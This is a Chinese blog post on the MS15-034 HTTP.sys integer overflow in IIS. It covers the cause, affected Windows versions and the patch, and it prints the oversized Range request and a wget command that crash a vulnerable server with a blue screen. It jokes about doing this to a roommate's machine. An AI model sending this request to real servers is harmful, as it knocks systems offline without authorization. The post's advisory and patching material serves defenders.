MS15014之恶搞舍友的漏洞

其实这是一个之前的漏洞,只是当时编译了一下POC在渗透中利用,并没有写出来=-=。

这次就把POC和测试过程发送出来。据说以前有个作死的舍友安装win2008,在同一个局域网。嗯,蓝屏的,好喝的。

00x1 漏洞原理

首先介绍下HTTP.SYS:HTTP.SYS是微软从IIS6.0开始,为了在Windows平台上优化IIS服务器性能而引入的一个内核模式驱动程序。它为IIS及其他需要运用HTTP协议的微软服务器功能提供HTTP请求的接收与响应、快速缓存、提高性能、日志等功能服务。

更多关于HTTP.SYS的信息,可以参考微软Technet Library中”IIS 6.0 Architecture”中的“HTTP Protocol Stack”一章(https://technet.microsoft.com/en-us/library/cc739400(v=ws.10).aspx)。 HTTP.SYS提供了两个最重要的功能是Kernel-mode caching 和Kernel mode request queuing,而本次的安全漏洞就出在Kernelmode caching(内核模式缓存)中。(整数型溢出)

Win7下此文件的路径:

C:\Windows\winsxs\amd64_microsoft-windows-http_31bf3856ad364e35_6.1.7600.16385_none_08b5edf0328bf3bf

这里先简单介绍一下http.sys缓存工作的原理,IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Ranges对象的指定范围,而缓存中则包含了http文件和大小信息等。

00x2 影响范围

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server2008

Windows server2012

00x3 修复方法

目前微软官方已经给出修复补丁(3042553),用户安装修复补丁即可。https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx

https://support.microsoft.com/zh-cn/kb/3042553

如果线上的业务比较重要,就可以使用输出缓存设置,去掉两个钩,但是会造成web容器比较慢。

00x4 漏洞利用&POC

只需发送一下数据包:

GET / HTTP/1.1 Host: stuff Range: bytes=0-18446744073709551615

Content-length: 0

我们直接使用wget或curl工具,也可以直接测试这个漏洞,例如使用如下命令行:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

此处18446744073709551615转为十六进制即是0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,那么我们很容易可以想到,这个“整数溢出”必然同这个异常的超大整数有关。

如上请求包,若IIS服务器返回“Requested RangeNot Satisfiable”,则是存在漏洞,否则如果返回”The request hasan invalid header name“,则说明漏洞已经修补。

C POC:

Domnload:https://www.exploit-db.com/exploits/36773/

https://ghostbin.com/paste/semkg

Python代码同样在网上可以搜索到

触发这个漏洞会是服务器蓝屏重启

测试效果图(手速不够,没有办法捕捉到蓝屏的一瞬间):

原文发布于微信公众号 - 晨星先生(MoXuanIT)

原文发表时间:2016-11-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏SDNLAB

OpenStack Neutron之持续测试

一.OpenStack持续测试概述 众所周知,OpenStack作为一个特大型软件开发项目,有着数千人的开发人员,每天要处理千计提交的代码,几千条Gerrit评...

486110
来自专栏信安之路

Google Calaboratory 的另一个 XSS 漏洞

三个月以前,我写了一篇文章来介绍我在 Google Colaboratory 上发现的一个 XSS 漏洞,这篇文章是对前文的一些扩展,并且展示了我在同一个 we...

20040
来自专栏FreeBuf

MINIFILTER实现文件重定向之从分析到实现

本次实验的测试环境为Windows Server 2008 R2 X64下。 为了解决例如系统关键目录或者业务敏感目录被放入恶意的可执行程序或者网页文件等,一些...

33080
来自专栏FreeBuf

使用Docker构建安全的虚拟空间

*本文作者:Li4n06,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

18230
来自专栏FreeBuf

Joomla!3.7.0 SQL注入攻击漏洞分析

Joomla是一套世界第二流行的内容管理系统。它使用的是PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不...

23750
来自专栏北京马哥教育

搭建python数据分析平台

基本结构 其实没什么高深的东西,无非是常用的那一套: pandas, numpy, matplotlib… 但是为了更方便使用,加持了 jupyter note...

41760
来自专栏蛋未明的专栏

NodeJs在linux下关闭监听端口

36530
来自专栏FreeBuf

Linux内核实现多路镜像流量聚合和复制

作者 linxinsnow 应用场景 我们在进行安全性监控、测试的过程中,难免会遇到这样的问题:需要部署大量基于镜像流量的安全设备,如IPS,异常流量,数据库审...

47150
来自专栏技术文章

资深专家深度剖析Kubernetes API Server第3章(共3章)

在本系列的前两部分中我们介绍了API Server的总体流程,以及API对象如何存储到etcd中。在本文中我们将探讨如何扩展API资源。

15220
来自专栏卡少编程之旅

在Windows上切换node版本的实践

362120

扫码关注云+社区

领取腾讯云代金券